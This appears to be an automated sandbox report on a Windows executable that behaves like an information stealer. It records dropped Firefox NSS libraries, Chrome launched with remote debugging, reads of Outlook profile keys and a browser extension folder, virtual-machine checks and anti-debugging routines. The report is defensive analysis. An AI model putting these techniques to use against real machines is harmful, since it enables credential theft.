Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000002.00000002.2337023230.000000001D4EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2342660696.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,11729065314981487623,9119966847036491314,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,11729065314981487623,9119966847036491314,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000002.00000002.2343629994.000000006F90D000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000002.00000002.2343096298.000000006C5CF000.00000002.00000001.01000000.0000000E.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000002.00000002.2343629994.000000006F90D000.00000002.00000001.01000000.0000000F.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_004268F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004268F0

Source: file.exe	Static PE information: section name: .00cfg
Source: file.exe	Static PE information: section name: .coS
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000600DA push ecx; ret	0_2_000600ED
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_000600DA push ecx; ret	2_2_000600ED
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00427AA5 push ecx; ret	2_2_00427AB8

Source: file.exe

Static PE information: section name: .text entropy: 6.957035512848488

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

2_2_004268F0

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 8.1 %

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005F660 FindFirstFileExW,	0_2_0005F660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005F711 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0005F711
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041E3F0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0040DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0040DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004113B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B7
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00414C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_00414C70
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004124F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F7
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004016A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_004016A0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0041D720
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004113B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004124F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00414C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_00414C89
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041CDD0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004016B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004016B9
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0041DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	2_2_0041DF20

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_004233C0 GetSystemInfo,wsprintfA,

2_2_004233C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware7

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-16356

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0005968F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0005968F

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00404A60 VirtualProtect 00000000,00000004,00000100,?

2_2_00404A60

Source: C:\Users\user\Desktop\file.exe

2_2_004268F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006D18D mov edi, dword ptr fs:[00000030h]	0_2_0006D18D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	0_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00042B7B mov eax, dword ptr fs:[00000030h]	0_2_00042B7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00042B7B mov eax, dword ptr fs:[00000030h]	0_2_00042B7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00042C20 mov eax, dword ptr fs:[00000030h]	0_2_00042C20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00042C20 mov eax, dword ptr fs:[00000030h]	0_2_00042C20
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80 mov eax, dword ptr fs:[00000030h]	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80 mov eax, dword ptr fs:[00000030h]	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80 mov eax, dword ptr fs:[00000030h]	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80 mov eax, dword ptr fs:[00000030h]	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00042A80 mov eax, dword ptr fs:[00000030h]	2_2_00042A80
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0003CCA0 mov edi, dword ptr fs:[00000030h]	2_2_0003CCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004265A0 mov eax, dword ptr fs:[00000030h]	2_2_004265A0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0005CAF0 GetProcessHeap,

0_2_0005CAF0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005900F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0005900F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00059683 SetUnhandledExceptionFilter,	0_2_00059683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005968F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0005968F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0005B77A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0005B77A
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0005900F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0005900F
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00059683 SetUnhandledExceptionFilter,	2_2_00059683
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0005968F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0005968F
